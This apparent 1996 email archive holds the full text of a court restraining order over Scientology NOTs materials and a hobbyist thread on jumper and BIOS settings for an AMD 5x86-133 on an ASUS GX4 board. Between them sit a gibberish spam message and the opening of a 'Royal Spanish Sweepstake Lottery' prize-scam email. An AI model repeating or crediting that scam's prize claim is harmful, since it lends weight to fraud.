Sincerely, Helena Kobrin NOTICE TO READERS: On March 6, 1996, Grady Ward posted a message to the Internet soliciting a NOTs pack. In a later posting, Ward indicated his intention for SCAMIZDAT to post the contents of that pack to this and the other newsgroups this message has been cross-posted to. SCAMIZDAT has made similar threats. The materials known as New Era Dianetics for Operating Thetans, or ""NOTs"" are confidential, unpublished works, protected by both copyright and trade secret law. The purpose of this posting is to inform you that on March 21, 1996 at 5:12 p.m., Judge Ronald M. Whyte of the United States District Court for the Northern District of California issued the following Temporary Restraining Order against Ward and SCAMIZDAT prohibiting them and anyone in active concert or participation with them from, among other things, acquiring, reproducing, displaying these materials. The full text of this Temporary Restraining Order is below. Pursuant to Rule 65(d) of the Federal Rules of Civil Procedure the form and scope of Injunction or Restraining Order are: Every order granting an injunction and every restraining order shall set forth the reasons for its issuance; shall be specific in terms; shall describe in reasonable detail, and not by reference to the complaint or other document, the act or acts sought to be restrained; and is binding only upon the parties to the action, their officers, agents, servants, employees, and attorneys; and upon those persons in active concert or participation with them who receive actual notice of the order by personal service or otherwise. By this electronic communication, you are being formally placed on notice of the above order and its terms. As Ward and SCAMIZDAT have solicited copies of the NOTs materials, your attention is specifically called to the fact that the order specifically prohibits, among other things, the acquisition of the NOTs materials. Thomas R. Hogan, SBN 042048 THE LAW OFFICES OF THOMAS R. HOGAN 60 South Market Street, Suite 1125 San Jose, CA 95113-2332 (408) 292-7600 Roger M. Milgrim William M. Hart PAUL, HASTINGS, JANOFSKY & WALKER 399 Park Avenue Thirty-first floor New York, New York 10022-4697 (212) 318-6000 Helena K. Kobrin, SBN 152546 7629 Fulton Avenue North Hollywood, CA 91605 (213) 960-1933 Attorneys for Plaintiff RELIGIOUS TECHNOLOGY CENTER UNITED STATES DISTRICT COURT NORTHERN DISTRICT OF CALIFORNIA RELIGIOUS TECHNOLOGY CENTER, a California non-profit corporation, Plaintiff, v. GRADY WARD, an individual, Defendant. ) ) ) ) ) ) ) ) ) ) ) ) CASE NO. TEMPORARY RESTRAINING ORDER AND ORDER TO SHOW CAUSE RE: PRELIMINARY INJUNCTION To Defendant GRADY WARD, his officers, agents, servants, employees, and attorneys, and to those persons in active concert or participation with him, including, but not limited to SCAMIZDAT: Upon reading the Complaint on file in this action, the Ex Parte Application for a Temporary Restraining Order and for Order to Show Cause Re Preliminary Injunction, the Memorandum of Points and Authorities, and the Declarations of Helena K. Kobrin and Warren McShane and Exhibits in support thereof, it appears to the satisfaction of this Court that there is good cause, and this is a proper case, for granting a temporary restraining order. Pursuant to Rule 65(d) of the Federal Rules of Civil Procedure, the Court finds as follows: 1. Plaintiff has established that it is probable that plaintiff will prevail at trial on the merits of their claims for relief against defendant; and 2. There is a likelihood that plaintiff will be irreparably injured if this temporary restraining order is not granted; or 3. Plaintiff has raised serious questions; and 4. The balance of hardship tips sharply in plaintiff's favor in that the hardship to defendant if this temporary restraining order is granted is outweighed by the hardship to plaintiff if it is not granted. YOU ARE HEREBY ORDERED TO SHOW CAUSE at 9:00 a.m. on March 29, 1996, or as soon thereafter as counsel may be heard in the courtroom of the Honorable Ronald M. Whyte, located at 280 South First Street, San Jose, California 95113, why you, your agents, servants, employees, partners, privies and attorneys, and all persons acting or purporting to act under your authority, direction or control, and all persons in active concert or participation with you, or acting on your behalf, including, but not limited to SCAMIZDAT, having advance notice of this Order should not be enjoined during the pendency of this action from: 1. directly or indirectly, in whole or in part, publishing, reproducing, distributing, performing, or creating derivative works based upon the works listed in Exhibit C to the Complaint, also attached hereto (""Exhibit C Works""), or any of them, in any media now known or hereafter developed in any time, place or fashion, and in particular, from engaging in any such acts in, on, or in connection with any computer, database, information service, electronic bulletin board service, network, storage facility, or archives, or other electronic or computer device, service, network or facility, including, without limitation, the transmitting or loading of any such materials onto, or downloading any copies thereof from any such device, service, network or facility and that all such copies which defendant, his agents, servants, employees, partners, privies, and attorneys and those in active concert or participation with them have caused to be copied or copied onto any such device, service, network, or facility be removed. 2. directly or indirectly, engaging in the further unauthorized disclosure, or display, of the Exhibit C Works, or portions thereof (excluding for purposes of this Order only NOTs Series issues 1, 24, 34, 35, 36 and 42 which are also the subject of other pending litigation), and specifically from disclosing, displaying, transmitting or otherwise loading any of the Advanced Technology materials, or portions thereof, in any media now known or hereafter developed in any time, place or fashion, or onto any computer, database, information service, electronic bulletin board service, network, storage facility, or archives, or other electronic or computer device, service, network or facility and that all such copies which defendant, his agents, servants, employees, partners, privies, and attorneys and those in active concert or participation with them have caused to be copied or copied onto any such device, service, network, or facility be removed; 3. directly or indirectly, engaging in the further unauthorized solicitation and/or acquisition, the Exhibit C Works, or portions thereof (excluding for purposes of this Order only NOTs Series issues 1, 24, 34, 35, 36 and 42 which are also subject to other pending litigation), and specifically from soliciting, acquiring, seeking to acquire, or otherwise downloading any of the Advanced Technology materials, or portions thereof (excluding for purposes of this Order only NOTs Series issues 1, 24, 34, 35, 36 and 42 which are also subject to other pending litigation), from any media now known or hereafter developed in any time, place or fashion, or from any computer, database, information service, electronic bulletin board service, network, storage facility, or archives, or other electronic or computer device, service, network or facility and that all such copies which defendant, his agents, servants, employees, partners, privies, and attorneys and those in active concert or participation with them have caused to be copied or copied from any such device, service, network, or facility be removed; 4. directly or indirectly destroying, altering or concealing, or in any way disposing of, any reproduction, copy, facsimile, excerpt, or derivative of any work of L. Ron Hubbard that is in defendant's possession, custody or control, in whole or in part, including, but not limited to, those materials located in any so-called ""off-site"" storage areas, electronic or otherwise, or otherwise despoiling or causing the despoliation, or alteration of any evidence, in whole or in part, in any form, place or media relating to defendant's conduct complained of in this action; and 5. causing or inducing any other person to engage in any of the foregoing prohibited acts; and, 6. filing with the Court, except under seal, any documents that contain any of the Advanced Technology. PENDING HEARING on the above Order to Show Cause, you, your agents, servants, employees, partners, privies and attorneys, and all persons acting or purporting to act under your authority, direction or control, and all persons in active concert or participation with you, or acting on your behalf, including, but not limited to SCAMIZDAT, having advance notice of this order ARE HEREBY RESTRAINED AND ENJOINED from: 1. directly or indirectly, in whole or in part, publishing, reproducing, distributing, performing, or creating derivative works based upon, the Exhibit C Works, or any of them, in any media now known or hereafter developed in any time, place or fashion, and in particular, from engaging in any such acts in, on, or in connection with any computer, database, information service, electronic bulletin board service, network, storage facility, or archives, or other electronic or computer device, service, network or facility, including, without limitation, the transmitting or loading of any such materials onto, or downloading any copies of them from any such device, service, network or facility and that all such copies which defendant, his agents, servants, employees, partners, privies, and attorneys and those in active concert or participation with them have caused to be copied or copied onto any such device, service, network, or facility be removed. Nothing in this paragraph 1 shall be construed to prohibit fair use of such works, as set forth in 17 U.S.C.  107. 2. directly or indirectly, engaging in the further unauthorized disclosure, or display, of the Exhibit C Works, or portions thereof (excluding for purposes of this Order only NOTs Series issues 1, 24, 34, 35, 36 and 42 which are also the subject of other pending litigation), and specifically from disclosing, displaying, transmitting or otherwise loading any of the Advanced Technology materials, or portions thereof (excluding for purposes of this Order only NOTs Series issues 1, 24, 34, 35, 36 and 42 which are also the subject of other pending litigation), in any media now known or hereafter developed in any time, place or fashion, or onto any computer, database, information service, electronic bulletin board service, network, storage facility, or archives, or other electronic or computer device, service, network or facility and that all such copies which defendant, his agents, servants, employees, partners, privies, and attorneys and those in active concert or participation with them have caused to be copied or copied onto any such device, service, network, or facility be removed. (The fair use defense is not applicable to this paragraph, as it is based upon plaintiff's contention that the documents are protectable as trade secrets.) 3. directly or indirectly, engaging in the further unauthorized solicitation and/or acquisition, of the Exhibit C Works, or portions thereof (excluding for purposes of this Order only NOTs Series issues 1, 24, 34, 35, 36 and 42, which are also the subject of other pending litigation), and specifically from soliciting, acquiring, seeking to acquire, or otherwise downloading any of the Advanced Technology materials, or portions thereof (excluding for purposes of this Order only NOTs Series issues 1, 24, 34, 35, 36 and 42 which are also the subject of other pending litigation), from any media now known or hereafter developed in any time, place or fashion, or from any computer, database, information service, electronic bulletin board service, network, storage facility, or archives, or other electronic or computer device, service, network or facility and that all such copies which defendant, his agents, servants, employees, partners, privies, and attorneys and those in active concert or participation with them have caused to be copied or copied from any such device, service, network, or facility be removed; 4. directly or indirectly destroying, altering or concealing, or in any way disposing of, any reproduction, copy, facsimile, excerpt, or derivative of any work of L. Ron Hubbard that is in defendant's possession, custody or control, in whole or in part, including, but not limited to, those materials located in any so-called ""off-site"" storage areas, electronic or otherwise, or otherwise despoiling or causing the despoliation, or alteration of any evidence, in whole or in part, in any form, place or media relating to defendant's conduct complained of in this action; and 5. causing or inducing any other person to engage in any of the foregoing prohibited acts; and, 6. filing with the Court, except under seal, any documents that contain any of the Advanced Technology. The above Temporary Restraining Order is effective on Plaintiff's filing an undertaking in the sum of $10,000. This Order to Show Cause and supporting papers must be served on Defendant no later than Friday, March 22, 1996, and proof of service shall be filed no later than March 27, 1996. Any response or opposition to this Order to Show Cause must be filed and personally served on Plaintiff's counsel no later than March 27, 1996, and proof of service shall be filed no later than March 27, 1996. DATED: 3/21/96 Ronald M. Whyte UNITED STATES DISTRICT JUDGE Issued on 3/21/96 at 5:12 p.m. Ronald M. Whyte EXHIBIT C NOTs Series Registration Number HCOB 15 SEPTEMBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 1 HCOB 15 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 2 HCOB 15 SEPTEMBER 1978 ISSUE III TXu 257 326 NED FOR OTS SERIES 3 HCOB 26 SEPTEMBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 4 HCOB 26 SEPTEMBER 1978 ISSUE I TXu 257 326 ATTACHMENT #1 HCOB 26 SEPTEMBER 1978 ISSUE I TXu 257 326 ATTACHMENT #2 HCOB 22 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 5 HCOB 17 SEPTEMBER 1978 ISSUE V TXu 257 326 NED FOR OTS SERIES 6 HCOB 17 SEPTEMBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 7 HCOB 30 SEPTEMBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 8 HCOB 15 SEPTEMBER 1978R ISSUE IV TXu 257 326 NED FOR OTS SERIES 9R REVISED 13 FEBRUARY 1981 HCOB 16 SEPTEMBER 1978 ISSUE IV TXu 257 326 NED FOR OTS SERIES 10 HCOB 30 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 11 HCOB 16 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 12 HCOB 30 SEPTEMBER 1978 ISSUE III TXu 257 326 NED FOR OTS SERIES 13 HCOB 17 SEPTEMBER 1978 ISSUE III TXu 257 326 NED FOR OTS SERIES 14 HCOB 21 SEPTEMBER 1978 TXu 257 326 NED FOR OTS SERIES 15 HCOB 17 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 16 HCOB 28 SEPTEMBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 17 HCOB 20 SEPTEMBER 1978 ISSUE IV TXu 257 326 NED FOR OTS SERIES 18 HCOB 23 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 19 HCOB 28 SEPTEMBER 1978 TXu 257 326 NED FOR OTS SERIES 20 HCOB 26 SEPTEMBER 1978 ISSUE III TXu 257 326 NED FOR OTS SERIES 21 HCOB 26 SEPTEMBER 1978 ISSUE IV TXu 257 326 NED FOR OTS SERIES 22 HCOB 28 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 23 HCOB 28 SEPTEMBER 1978 ISSUE I Txu 257 326 NED FOR OTS SERIES 24 HCOB 28 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 25 HCOB 28 SEPTEMBER 1978R ISSUE I TXu 257 326 REVISED 2 MARCH 1979 NED FOR OTS SERIES 26R HCOB 1 NOVEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 27 HCOB 4 OCTOBER 1978 TXu 257 326 NED FOR OTS SERIES 28 HCOB 4 OCTOBER 1978 ATTACHMENT TXu 257 326 HCOB 5 OCTOBER 1978 TXu 257 326 NED FOR OTS SERIES 29 HCOB 26 SEPTEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 30 HCOB 16 SEPTEMBER 1978 ISSUE III TXu 257 326 NED FOR OTS SERIES 31 HCOB 29 OCTOBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 32 HCOB 11 NOVEMBER 1978 TXu 257 326 NED FOR OTS SERIES 33 HCOB 14 NOVEMBER 1978 TXu 257 326 NED FOR OTS SERIES 34 HCOB 29 OCTOBER 1978 ISSUE III TXu 257 326 NED FOR OTS SERIES 35 HCOB 22 SEPTEMBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 36 HCOB 27 OCTOBER 1978 TXu 257 326 NED FOR OTS SERIES 37 HCOB 7 NOVEMBER 1978 TXu 257 326 NED FOR OTS SERIES 38 HCOB 29 OCTOBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 39 HCOB 15 NOVEMBER 1978 TXu 257 326 NED FOR OTS SERIES 40 HCOB 11 DECEMBER 1978 ISSUE I TXu 257 326 NED FOR OTS SERIES 41 HCOB 11 DECEMBER 1978 ISSUE II TXu 257 326 NED FOR OTS SERIES 42 HCOB 31 JANUARY 1979 TXu 257 326 NED FOR OTS SERIES 43 HCOB 9 FEBRUARY 1979 ISSUE II TXu 257 326 NED FOR OTS SERIES 44 HCOB 10 FEBRUARY 1979 TXu 257 326 NED FOR OTS SERIES 45 HCOB 22 FEBRUARY 1979 TXu 257 326 NED FOR OTS SERIES 46 HCOB 27 OCTOBER 1978 TXu 257 326 NED FOR OTS SERIES 47 HCOB 20 DECEMBER 1978 TXu 257 326 NED FOR OTS SERIES 48 HCOB 12 JANUARY 1979 TXu 257 326 NED FOR OTS SERIES 49 HCOB 30 JANUARY 1979 TXu 257 326 NED FOR OTS SERIES 50 HCOB 31 JANUARY 1980 TXu 257 326 NED FOR OTS SERIES 51 HCOB 24 MAY 1980 TXu 257 326 NED FOR OTS SERIES 52 HCOB 26 MAY 1980 TXu 257 326 NED FOR OTS SERIES 53 HCOB 14 FEB 1981 TXu 257 326 NED FOR OTS SERIES 54 HCOB 22 DEC 1979 TXu 257 326 REISSUED 20 SEPT 1980 QUAL CORRECTIVE ACTIONS ON OTS SERIES 29 ",0,0 Humberto Ohara ,dranch@ecst.csuchico.edu,"Mon, 25 Mar 1996 23:05:58 -0500",zipping my energy,"try reykjavik not wakeup be cambodia some kelsey ! maine ",1,0 WILFRED ALBERTO ,dranch@ecst.csuchico.edu,"Wed, 27 Mar 1996 22:42:26 +0200",CONGRATULATIONS YOUR EMAIL ADDRESS HAS WON A PRIZE,"ROYAL SPANISH SWEEPSTAKE LOTTERY INTERNATIONAL PROMOTION/PRIZE AWARD DEPT. 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I received two of these processors this weekend, and managed to get them going using the following jumper settings: JP16: 1-2 4-5 JP17: 1-2 5-6 JP18: 1-2 JP19: 1-2 3-4 5-6 JP20: 1-2 JP21: 2-3 JP22: 1-2 4-5 If you leave JP20 open the CPU runs in clock trebling mode instead of clock quadrupling mode. You could experiment and try to get it to work as a 3*50MHz system. Both CPUs ran flawlessly at both 133MHz (4*33MHz) and 160MHz (4*40MHz). The only problem I did encounter was that QEMM 7.5 hung when it started, no matter what the speed of the CPU was. I think it has something to do with QEMM identifying the CPU incorrectly. Cheers Graham Inggs +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ On Thu, 28 Mar 1996, David A. Ranch wrote: > > Hey Roman, > > Welp, I broke down and bought a 133Mhz processor. I'm in the process of > burning in the v401 BIOS and I would to pick your brain about what the > jumper settings are for the GX4 motherboard. Again, thanks for the help > and I plan on posting all my results to the ASUS newsgroup. > > (from you earilier) > > > If you have the manual, I can tell you which entry to use (like AMD > > Enhanced). > > Ok, the first thing is.. this processor is called the 5x86-133. The Asus > WWW site keeps mentioning two AMD DX4 processors: SV8B and the NV8T. > I'm under the impression that this 133Mhz processor is neither. Can you > clear this up for me? Ok.. for the processor stuff, check out the bottom > of this e-mail since I'll put all the differentGx4 processor types there > and I'll include the readme file that came with the bios upgrade just in > case. > The SV8 and SV8 stuff only applied to the 80-120 Mhz processors. The 133 has and ADZ somewhere I think. > > With the chip running at 4x40, I have the speed to fastest and fewest > > wait states (I'm pretty sure). But this is something that you have to > > tweak in the end by yourself. At 4x33, you should be able to set things > > to max speed. > > Great.. I'm running an AMD Dx/2 80 5V now and I can only run it at FASTER. > I still might not be able to get my system to run at fastest but bah.. > thats ok. Two question(s): > > 1) ASUS says that you MUST run the L1 cache in > Write-Through mode instead of the preferable Write-Back mode if > you have a bus-mastering card like a SCSI card (which I do). > Have you had to deal with this or it doesn't apply for your > situation? > Not sure. I use write-back and have everything except for a SCSI card. > 2) What settings are you using for your VLBus? > > - VESA delay ENABLED? (ASUS default is enabled) > - <33Mhz & 0ws (This is what I'm running now) > or > >33Mhz & 1ws > At 40Mhz, I have the VESA delay enabled. It may work without it at 33Mhz. > > OK.. lastly,,from the manual as you requested, here are the different CPU > jumper settings. Could you note to me which I need to run the processor > at both 133Mhz and 160Mhz for our GX4 motherboards? > The same setting should allow you to run at 133 and 160- you just have to change the bus speed (from 33 to 40). Compare the settings from the beginning of this message to the differenct cpu setting from the manual. I think it's closest to the AMD486DXL4 - 2x clock- you may not have to change the jumpers much. :) There may be one jumper different- the one that enables internal write-back. Also, be warned that at 160Mhz (4x40), my GX4 boots up and says 150Mhz. Good luck. -Roman > --- > > probably no - SL Enhanced 486SX & SX2 or Non-SL 486 & SX2 > > probably no - SL Enhanced (non-SL) 486DX, DX2, 487SX & ODP; 486Dx/4 @ > 3x clock > > probably no - 486DX4 - 2.5x clock > > probably no - 486DX4 - 2x clock (BIOS reports AM486DXL4 3x) > > possibly - P24D Write-Back L1 cache > JP21 Short 2&3 - Write-Through L1 cache > > possibly - P24CT - Write-back L1 cache > JP21 Short 2&3 - Write-Through L1 cache > > possibly - P24T - Write-back L1 cache > JP21 Short 2&3 - Write-Through L1 cache > 237-pin SL ODP > > possibly 120Mhz - 486DX4 ODP (OverDrive Processor?) - 3x clock > > possibly - 486DX4 ODP (OverDrive Processor?) - 2.5 clock > > doubtful - 486DX4 ODP (OverDrive Processor?) - 2.0 clock > > doubtful - AMD486SXL, AMD486SX2L > > doubtful - AMD486DXl, AMD486DX2L > > possible 120Mhz - AMD486DXL4 - 3x clock > > This is what I - AMD486DXL4 - 2x clock > run my Dx/2 80 > at > > doubtful - Cyrix 486DX, DX2 > > doubtful - Cyrix 486DX2-V > > doubtful - Cyrix DX5 - 3x clock > > doubtful - Cyrix DX5 - 2x clock > > > ======= > > > This is the text file that came with the BIOS upgrade image. I'm > including this just in case it helps. > > ---- > > BIOS file : SV2G0401.AWD > BIOS Ver. : 0401 (#401A0-0401) > Related Mainboard : VL/I-486SV2G(X4) Rev. 2.0 or above > Related Chipset : SiS 85C471 chipset > > > Description : > > 1. To support the following CPUs : > a.) AMD 486DX4 (SV8B) : with green & L1 cache write-back. > b.) Intel 486DX4 (&EW) : with green & L1 cache write-back. > c.) Cyrix 486DX4 : with green & L1 cache write-back. > d.) Cyrix 5x86 (M1sc) : with Pentium code inside. > e.) AMD 486DX4 (NV8T) : non-green & L1 cache write-through. > > The new CPUs jumper setting as the follow : > > A) Cyrix 486DX4 P/O > Cyrix 5x86 (M1sc) > > JP16 : 1-2,5-6 (short) > JP17 : 1-2,5-6 (short) > JP18 : 1-2 (short) > JP19 : 1-2,3-4,5-6 (short) > JP20 : (none) > JP21 : (none) > JP22 : 1-2 (short) > > > B) AMD 486DX4 (SV8B) > Intel 486DX4 (&EW) > > JP16 : 1-2,4-5 (short) > JP17 : 1-2,5-6 (short) > JP18 : 1-2 (short) > JP19 : 1-2,3-4,5-6 (short) > JP20 : (none) > JP21 : 3-4 (short) > JP22 : 1-2,4-5 (short) > > C) Cyrix 486DX4 > > JP16 : 2-3,5-6 (short) > JP17 : 2-3,5-6 (short) > JP18 : 2-3 (short) > JP19 : 2-3 (short) > JP20 : 2-3 (short) > JP21 : 1-2 (short) > JP22 : 1-2 (short) > > D) AMD 486DX4 (NV8T) > AMD 486DXL4 > > JP16 : 1-2,5-6 (short) > JP17 : 4-5 (short) > JP18 : 4-5 (short) > JP19 : (none) > JP20 : 4-5 (short) > JP21 : (2-3 short : 2x CLK, 2-3 open : 3x CLK) > JP22 : 1-2, 4-5 (short) > > > --David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > > >",0,0 """David A. Ranch"" ",ginggs@iafrica.com,"Thu, 28 Mar 1996 12:21:48 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now!,"Hello Gramm, Roman Shapiro (roman@galaxy.net) forwarded me your news post on the ASUS newsgroup about the AMD 133Mhz processor and the GX4 motherboard. I wanted to CC: this to you just in case you had any additional ideas. Yes.. this message is a long one but I plan to post a comprehensive message on the newsgroup once I know -exactly- whats going on.) Anyway, could you let me know your thoughts about the following? (me) > > 1) ASUS says that you MUST run the L1 cache in > > Write-Through mode instead of the preferable Write-Back mode if > > you have a bus-mastering card like a SCSI card (which I do). > > I currently have an Adaptec 2842 Bus-mastering VLB SCSI > > controller and I bet it will have possible problems. > > > > Have you had to deal with this or it doesn't apply for your > > situation? > > > (roman) > Not sure. I use write-back and have everything except for a SCSI card. > > 2) What settings are you using for your VLBus? > > > > - VESA delay ENABLED? (ASUS default is enabled) > > - <33Mhz & 0ws (This is what I'm running now) > > or > > >33Mhz & 1ws > > > At 40Mhz, I have the VESA delay enabled. It may work without it at 33Mhz. > > OK.. lastly,,from the manual as you requested, here are the different CPU > > jumper settings. Could you note to me which I need to run the processor > > at both 133Mhz and 160Mhz for our GX4 motherboards? > > > >(roman) > The same setting (from Gramm's news post) should allow you to run at 133 > and 160- you just have to change the bus speed (from 33 to 40). Compare > the settings from the beginning of this message to the differenct cpu > setting from the manual. I think it's closest to the AMD486DXL4 - 2x > clock- you may not have to change the jumpers much. :) There may be one > jumper different- the one that enables internal write-back. > > Also, be warned that at 160Mhz (4x40), my GX4 boots up and says 150Mhz. > > Good luck. > -Roman Also Gramm, did you upgrade your BIOS yourself? I have the 401 BIOS image here and I'm going to burn it today but I'm not sure what format the image is in. Is it in HEX, Object, etc? Anyway... thank you for your time and I hope to hear from you soon. (The following is the settings in the GX4 motherboard manual and then the readme file included with the BIOS image from ASUS's WWW site.) > > > --- > > > > probably no - SL Enhanced 486SX & SX2 or Non-SL 486 & SX2 > > > > probably no - SL Enhanced (non-SL) 486DX, DX2, 487SX & ODP; 486Dx/4 @ > > 3x clock > > > > probably no - 486DX4 - 2.5x clock > > > > probably no - 486DX4 - 2x clock (BIOS reports AM486DXL4 3x) > > > > possibly - P24D Write-Back L1 cache > > JP21 Short 2&3 - Write-Through L1 cache > > > > possibly - P24CT - Write-back L1 cache > > JP21 Short 2&3 - Write-Through L1 cache > > > > possibly - P24T - Write-back L1 cache > > JP21 Short 2&3 - Write-Through L1 cache > > 237-pin SL ODP > > > > possibly 120Mhz - 486DX4 ODP (OverDrive Processor?) - 3x clock > > > > possibly - 486DX4 ODP (OverDrive Processor?) - 2.5 clock > > > > doubtful - 486DX4 ODP (OverDrive Processor?) - 2.0 clock > > > > doubtful - AMD486SXL, AMD486SX2L > > > > doubtful - AMD486DXl, AMD486DX2L > > > > possible 120Mhz - AMD486DXL4 - 3x clock > > > > This is what I - AMD486DXL4 - 2x clock > > run my Dx/2 80 > > at > > > > doubtful - Cyrix 486DX, DX2 > > > > doubtful - Cyrix 486DX2-V > > > > doubtful - Cyrix DX5 - 3x clock > > > > doubtful - Cyrix DX5 - 2x clock > > > > > > ======= > > > > > > This is the text file that came with the BIOS upgrade image. I'm > > including this just in case it helps. > > > > ---- > > > > BIOS file : SV2G0401.AWD > > BIOS Ver. : 0401 (#401A0-0401) > > Related Mainboard : VL/I-486SV2G(X4) Rev. 2.0 or above > > Related Chipset : SiS 85C471 chipset > > > > > > Description : > > > > 1. To support the following CPUs : > > a.) AMD 486DX4 (SV8B) : with green & L1 cache write-back. > > b.) Intel 486DX4 (&EW) : with green & L1 cache write-back. > > c.) Cyrix 486DX4 : with green & L1 cache write-back. > > d.) Cyrix 5x86 (M1sc) : with Pentium code inside. > > e.) AMD 486DX4 (NV8T) : non-green & L1 cache write-through. > > > > The new CPUs jumper setting as the follow : > > > > A) Cyrix 486DX4 P/O > > Cyrix 5x86 (M1sc) > > > > JP16 : 1-2,5-6 (short) > > JP17 : 1-2,5-6 (short) > > JP18 : 1-2 (short) > > JP19 : 1-2,3-4,5-6 (short) > > JP20 : (none) > > JP21 : (none) > > JP22 : 1-2 (short) > > > > > > B) AMD 486DX4 (SV8B) > > Intel 486DX4 (&EW) > > > > JP16 : 1-2,4-5 (short) > > JP17 : 1-2,5-6 (short) > > JP18 : 1-2 (short) > > JP19 : 1-2,3-4,5-6 (short) > > JP20 : (none) > > JP21 : 3-4 (short) > > JP22 : 1-2,4-5 (short) > > > > C) Cyrix 486DX4 > > > > JP16 : 2-3,5-6 (short) > > JP17 : 2-3,5-6 (short) > > JP18 : 2-3 (short) > > JP19 : 2-3 (short) > > JP20 : 2-3 (short) > > JP21 : 1-2 (short) > > JP22 : 1-2 (short) > > > > D) AMD 486DX4 (NV8T) > > AMD 486DXL4 > > > > JP16 : 1-2,5-6 (short) > > JP17 : 4-5 (short) > > JP18 : 4-5 (short) > > JP19 : (none) > > JP20 : 4-5 (short) > > JP21 : (2-3 short : 2x CLK, 2-3 open : 3x CLK) > > JP22 : 1-2, 4-5 (short) > > --David +----------------------------------------------------------------------------+ | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | +---- ----+ +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+",0,0 """David A. Ranch"" ",rlindsay@jumpnet.com,"Thu, 28 Mar 1996 12:26:51 -0800",Re: ASUS GX4 BIOS Upgrade," Hey Rick, I read a post from you on the ASUS newsgroup about upgrading the BIOS on a ASUS GX4 motherboard. I have the Award 401 image and have a EPROM burner ready. The problem is that the included text file doesn't tell the user which programmer file format to use! I'm going to try HEX first but if you have any ideas or comments, I would greatly appreciate it! --David +----------------------------------------------------------------------------+ | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | +---- ----+ +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ ",0,0 """David A. Ranch"" ",difilipp@whidbey.net,"Thu, 28 Mar 1996 12:30:04 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! (fwd),"Hey John, I'm in the process of upgrading my BIOS and getting the 133Mhz processor to run at 160Mhz. Here is my current thread to two other people about the process. Once I have ALL the details, I plan on making a master GX4 upgrade document and posting it on the ASUS newsgroup. Could you give the technical specs a once-over and let me know if you dis-agree with anything? I greatly appreciate it and I'll talk to you soon! --David +----------------------------------------------------------------------------+ | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | +---- ----+ +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ ---------- Forwarded message ---------- Date: Thu, 28 Mar 1996 14:27:01 -0500 (EST) From: Roman Shapiro To: ""David A. Ranch"" Subject: Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! Here's something I read in a post recently: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Hi I've seen numerous requests for information on how to set the jumpers correctly for this combination. I received two of these processors this weekend, and managed to get them going using the following jumper settings: JP16: 1-2 4-5 JP17: 1-2 5-6 JP18: 1-2 JP19: 1-2 3-4 5-6 JP20: 1-2 JP21: 2-3 JP22: 1-2 4-5 If you leave JP20 open the CPU runs in clock trebling mode instead of clock quadrupling mode. You could experiment and try to get it to work as a 3*50MHz system. Both CPUs ran flawlessly at both 133MHz (4*33MHz) and 160MHz (4*40MHz). The only problem I did encounter was that QEMM 7.5 hung when it started, no matter what the speed of the CPU was. I think it has something to do with QEMM identifying the CPU incorrectly. Cheers Graham Inggs +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ On Thu, 28 Mar 1996, David A. Ranch wrote: > > Hey Roman, > > Welp, I broke down and bought a 133Mhz processor. I'm in the process of > burning in the v401 BIOS and I would to pick your brain about what the > jumper settings are for the GX4 motherboard. Again, thanks for the help > and I plan on posting all my results to the ASUS newsgroup. > > (from you earilier) > > > If you have the manual, I can tell you which entry to use (like AMD > > Enhanced). > > Ok, the first thing is.. this processor is called the 5x86-133. The Asus > WWW site keeps mentioning two AMD DX4 processors: SV8B and the NV8T. > I'm under the impression that this 133Mhz processor is neither. Can you > clear this up for me? Ok.. for the processor stuff, check out the bottom > of this e-mail since I'll put all the differentGx4 processor types there > and I'll include the readme file that came with the bios upgrade just in > case. > The SV8 and SV8 stuff only applied to the 80-120 Mhz processors. The 133 has and ADZ somewhere I think. > > With the chip running at 4x40, I have the speed to fastest and fewest > > wait states (I'm pretty sure). But this is something that you have to > > tweak in the end by yourself. At 4x33, you should be able to set things > > to max speed. > > Great.. I'm running an AMD Dx/2 80 5V now and I can only run it at FASTER. > I still might not be able to get my system to run at fastest but bah.. > thats ok. Two question(s): > > 1) ASUS says that you MUST run the L1 cache in > Write-Through mode instead of the preferable Write-Back mode if > you have a bus-mastering card like a SCSI card (which I do). > Have you had to deal with this or it doesn't apply for your > situation? > Not sure. I use write-back and have everything except for a SCSI card. > 2) What settings are you using for your VLBus? > > - VESA delay ENABLED? (ASUS default is enabled) > - <33Mhz & 0ws (This is what I'm running now) > or > >33Mhz & 1ws > At 40Mhz, I have the VESA delay enabled. It may work without it at 33Mhz. > > OK.. lastly,,from the manual as you requested, here 